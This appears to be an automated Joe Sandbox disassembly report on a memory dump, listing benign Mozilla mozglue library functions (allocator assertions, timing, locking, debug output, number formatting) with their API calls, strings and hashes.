MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9672F8

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2613674957-1127040744
Opcode ID: 5de5e060bcc47d1668061e499a341a7a5420e03f1ab866476107f93855a1f066
Instruction ID: fc3b70be32027a0d6bf19da5f2ee08542115ed3e5b0a51ff5d27c391d094623f
Opcode Fuzzy Hash: 5de5e060bcc47d1668061e499a341a7a5420e03f1ab866476107f93855a1f066
Instruction Fuzzy Hash: 57335D716057018FE308CF2AC590615BBE6BF85328F29C7ADE9698BBE5D731E841CB41

Function 6C943480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C943284,?,?,6C9656F6), ref: 6C943492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C943284,?,?,6C9656F6), ref: 6C9434A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C943284,?,?,6C9656F6), ref: 6C9434EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C94350E
__Init_thread_footer.LIBCMT ref: 6C943522
__aulldiv.LIBCMT ref: 6C943552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C943284,?,?,6C9656F6), ref: 6C94357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C943284,?,?,6C9656F6), ref: 6C943592

Part of subcall function 6C97AB89: EnterCriticalSection.KERNEL32(6C9CE370,?,?,?,6C9434DE,6C9CF6CC,?,?,?,?,?,?,?,6C943284), ref: 6C97AB94
Part of subcall function 6C97AB89: LeaveCriticalSection.KERNEL32(6C9CE370,?,6C9434DE,6C9CF6CC,?,?,?,?,?,?,?,6C943284,?,?,6C9656F6), ref: 6C97ABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6C943508
kernel32.dll, xrefs: 6C9434EA

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 206992b57583fde67249a53852889b0ecd5b042c8a50f32a8fa0ad8f8cf302f1
Instruction ID: 658242ecdd176828683d039a8c5fdbb27d172285e73547b840caa84e178b6f65
Opcode Fuzzy Hash: 206992b57583fde67249a53852889b0ecd5b042c8a50f32a8fa0ad8f8cf302f1
Instruction Fuzzy Hash: CB31C271B052099BDF14DFB9C948AAE77B9FB46708F204019E505E3750DB30EA04CFA1

Function 6C9A4EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C9A4EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A4F2E
moz_xmalloc.MOZGLUE ref: 6C9A4F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C9A4F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A52B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A52E6
Sleep.KERNEL32(00000010), ref: 6C9A5481
free.MOZGLUE(?), ref: 6C9A5498

Strings

(, xrefs: 6C9A5250

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 4bfc3bf91a5661f3d7352e23720fee29dcc22118a24bcbd43d8a10e22a28c8ce
Instruction ID: b671645ac6c6d010824915ebcfb857031251344ea1c4014197e2f97df44508f9
Opcode Fuzzy Hash: 4bfc3bf91a5661f3d7352e23720fee29dcc22118a24bcbd43d8a10e22a28c8ce
Instruction Fuzzy Hash: 32F1B172A18B408FC716CF39C85062BB7F9AFD6384F15872EF846A7651DB31D9428B81

Function 6C957810 Relevance: 15.4, APIs: 12, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9CE744), ref: 6C957885
LeaveCriticalSection.KERNEL32(6C9CE744), ref: 6C9578A5
EnterCriticalSection.KERNEL32(6C9CE784), ref: 6C9578AD
LeaveCriticalSection.KERNEL32(6C9CE784), ref: 6C9578CD
EnterCriticalSection.KERNEL32(6C9CE7DC), ref: 6C9578D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C9578E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C95795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C9579BB
LeaveCriticalSection.KERNEL32(?), ref: 6C957BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C957C82
LeaveCriticalSection.KERNEL32(6C9CE7DC), ref: 6C957CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C957DAF

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID:
API String ID: 759993129-0
Opcode ID: 86eb523df4557e78585c9df969d0e716af35baa5f34459ff26939b4a86802d12
Instruction ID: afece7e99ce0fe6ac8f438257c0399d14246dfb2947dabb0da7373610a82568a
Opcode Fuzzy Hash: 86eb523df4557e78585c9df969d0e716af35baa5f34459ff26939b4a86802d12
Instruction Fuzzy Hash: 4A028271E152198FDB54CF19C984799B7B9FF88318F6582AAD809A7701D730EEA0CF80

Function 6C9A5FF0 Relevance: 15.1, APIs: 10, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C9A6009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C9A6024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(6C94EE51,?), ref: 6C9A6046
OutputDebugStringA.KERNEL32(?,6C94EE51,?), ref: 6C9A6061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9A6069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9A6073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9A6082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C9C148E), ref: 6C9A6091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,6C94EE51,00000000,?), ref: 6C9A60BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9A60C4

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID:
API String ID: 3835517998-0
Opcode ID: 13e732cfafc1b18f24ffd0a716bd3a70c24d505d54097ce5ec652b5b2914dfbe
Instruction ID: 4dd94499fec1b409f270403d82ab45bb70c1550e72d6ff113a36ed7cffe589d7
Opcode Fuzzy Hash: 13e732cfafc1b18f24ffd0a716bd3a70c24d505d54097ce5ec652b5b2914dfbe
Instruction Fuzzy Hash: 2721A371A002189FDF206F69DC09AAA7BBCFF45618F108428E85A97741CB74E659CFE1

Function 6C9A7030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C9A7046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C9A7060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9A707E

Part of subcall function 6C9581B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C9581DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9A7096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9A709C
LocalFree.KERNEL32(?), ref: 6C9A70AA

Strings

(null), xrefs: 6C9A706A, 6C9A7083
### ERROR: %s: %s, xrefs: 6C9A7087

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: 101d97314d40155e6a06d645d8cb8db337e37e87fb4cdc20903802f296125442
Instruction ID: c07aa85f9f70c562d6729f558049f495d7df003ff87d0423339ac72f960c0a36
Opcode Fuzzy Hash: 101d97314d40155e6a06d645d8cb8db337e37e87fb4cdc20903802f296125442
Instruction Fuzzy Hash: 1B012DB1F00108AFDB00AB64DC0ADAF7BBCEF49255F110034FA05E3241D631AA18CBE2

Function 6C969E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C969EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C969F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C969F34
LeaveCriticalSection.KERNEL32(?), ref: 6C96A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C96A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C96A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C96A8B1, 6C96A8D4, 6C96A8EF

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 028f1df094d40a60a9f072ce204cc51807c87eab59798b8ca66c759f664d905e
Instruction ID: adbf9369b05b9c41c1b9fd36e4a19e720fc5a37d5132c683f832ca868a6faf99
Opcode Fuzzy Hash: 028f1df094d40a60a9f072ce204cc51807c87eab59798b8ca66c759f664d905e
Instruction Fuzzy Hash: 94727072A057218FE304CF29C540615FBE5BF85728F2AC6ADE8699BBD1D735E841CB80

Function 6C992C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C992C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C992C61

Part of subcall function 6C944DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C944E5A
Part of subcall function 6C944DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C944E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C992C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C992E2D

Part of subcall function 6C9581B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C9581DE

Strings

(root), xrefs: 6C99354F
ProfileBuffer parse error: %s, xrefs: 6C992E3B
expected a Time entry, xrefs: 6C992E36

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: fad4c57264d162cc07fa4d299c56bbfc6c24ddaa397d217181a5db4e14fb0813
Instruction ID: 20b4076bd7bda4e08e658b9e1cd7d79bf017def25160b5e080302b5ee37ff56d
Opcode Fuzzy Hash: fad4c57264d162cc07fa4d299c56bbfc6c24ddaa397d217181a5db4e14fb0813
Instruction Fuzzy Hash: 2591DFB06087808FC724CF24C48469FB7E4AFD9358F58492DE59A9BB50EB30D949CB53

Function 6C96C0E0 Relevance: 11.2, APIs: 4, Strings: 2, Instructions: 728COMMON

Download Yara Rule

Strings

0123456789abcdef, xrefs: 6C96C317
MOZ_CRASH(), xrefs: 6C96D4BB

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID:
String ID: 0123456789abcdef$MOZ_CRASH()
API String ID: 0-3968268099
Opcode ID: f83417d2bbfac6ee70b464bde9972dc8a5b828c86acbd940808f62fc8a6ad9a1
Instruction ID: 188be837240f2aa821b7fc2f8e64dbfceecf64f8676e88862615f04f691cb4d8
Opcode Fuzzy Hash: f83417d2bbfac6ee70b464bde9972dc8a5b828c86acbd940808f62fc8a6ad9a1
Instruction Fuzzy Hash: 0852C1716093418FEB24CF19C49076AB7E6EB86318F24891EE8E687FD1D735D845CB82

Function 6C9A9E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C9A9F3D
__aulldiv.LIBCMT ref: 6C9A9F77
__aullrem.LIBCMT ref: 6C9A9F8C
__aulldiv.LIBCMT ref: 6C9AA023

Strings

NaN, xrefs: 6C9A9EAB
-Infinity, xrefs: 6C9A9E60, 6C9A9E7B

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: bdc7237ab3a8056b1f604f2b1cea139504c4bca6901b9bda54995db4e8c30749
Instruction ID: 1095a29ed3e8c501a086e419920a3344df1bf0483561b2894f4099d96732d8a5
Opcode Fuzzy Hash: bdc7237ab3a8056b1f604f2b1cea139504c4bca6901b9bda54995db4e8c30749
Instruction Fuzzy Hash: D9C1AE31A003199BDB14CFE9C8907AEB7B6FB99304F544529D406ABB80DB71ED4ACF91

Function 6C94D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

1, xrefs: 6C94DBDD
0, xrefs: 6C94DC7F
-, xrefs: 6C94D7DD
, xrefs: 6C94DA88
8, xrefs: 6C94DC08
0, xrefs: 6C94D852
9, xrefs: 6C94DE7F
@, xrefs: 6C94DAF6

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: 81c57f76366b648e1b38179f56547d5a921f843e1a9e398b983ddeb7a0fd53db
Instruction ID: dc22d6036671f49aad89a277af5215adff3d27a55920735c70c89b3acb7b2f0a
Opcode Fuzzy Hash: 81c57f76366b648e1b38179f56547d5a921f843e1a9e398b983ddeb7a0fd53db
Instruction Fuzzy Hash: E162DD7A60D3458FDB11CE28C09076EBBF6AF86358F188A4DE4D44BB91C335D985CB82

Function 6C959F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

0, xrefs: 6C95A100
@, xrefs: 6C95A625
0, xrefs: 6C95AB22
' , xrefs: 6C95A3D8
9, xrefs: 6C95A5D6
1, xrefs: 6C95A824

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: 71815683765fa27794a3070835ad40d14d1f9c7be821df9a7b397901e77ff508
Instruction ID: 318ae69563dec544612c4663cfef3e759cd378da9a994400f9f35edcb99c3c62
Opcode Fuzzy Hash: 71815683765fa27794a3070835ad40d14d1f9c7be821df9a7b397901e77ff508
Instruction Fuzzy Hash: 1E82F2719093118FD700CF19C09027EB7F5FB85718FD5892AE8D547A90DB34E8A6CBAA

Function 6C94BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C94C1CB
__aulldiv.LIBCMT ref: 6C94C24C
__aulldiv.LIBCMT ref: 6C94C348
__aullrem.LIBCMT ref: 6C94C365
__aulldiv.LIBCMT ref: 6C94C37D

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 92afd757b2283e8b1c221661f12766fb753b475a53821aa6fe8eb6822dd8fcff
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: DC321532B146129FCB18DE2CC890666BBE6AFD9310F09867DE895CB395D730ED05CB91

Function 6C9B545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C9B8A4B

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 89c030ee7b17fb9a3241e79f8d902ac8d3bce04912e662762684b80d94327b8b
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 46B1D472E0121B9FDB14CF68CC907AAB7B6EF95314F1902A9C549EB781D730E985CB90

Function 6C9B542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C9B88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C9B925C

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 49c1b07443c204a6e94ae088a2485a3ca555aaf014ac0b8e77e1ca5e685e1d3e
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: D7B1D472E0021BDBCB14CE58C8816EEB7B6EF95314F190269C549EB785D730E989CB90

Function 6C9B50C7 Relevance: 6.5, APIs: 5, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9B8E18
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C9B925C

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: 2149f5b5ee86ad88d0a2ec0a30b350526f7f9609247e55f1c75c87905cf2e4d2
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: 48A1D772E001179BCB14CE58CC807AAB7B6EF95314F1902BAC949EB785D730E999CB90

Function 6C9977A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C997A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C997A93

Part of subcall function 6C965C50: GetTickCount64.KERNEL32 ref: 6C965D40
Part of subcall function 6C965C50: EnterCriticalSection.KERNEL32(6C9CF688), ref: 6C965D67

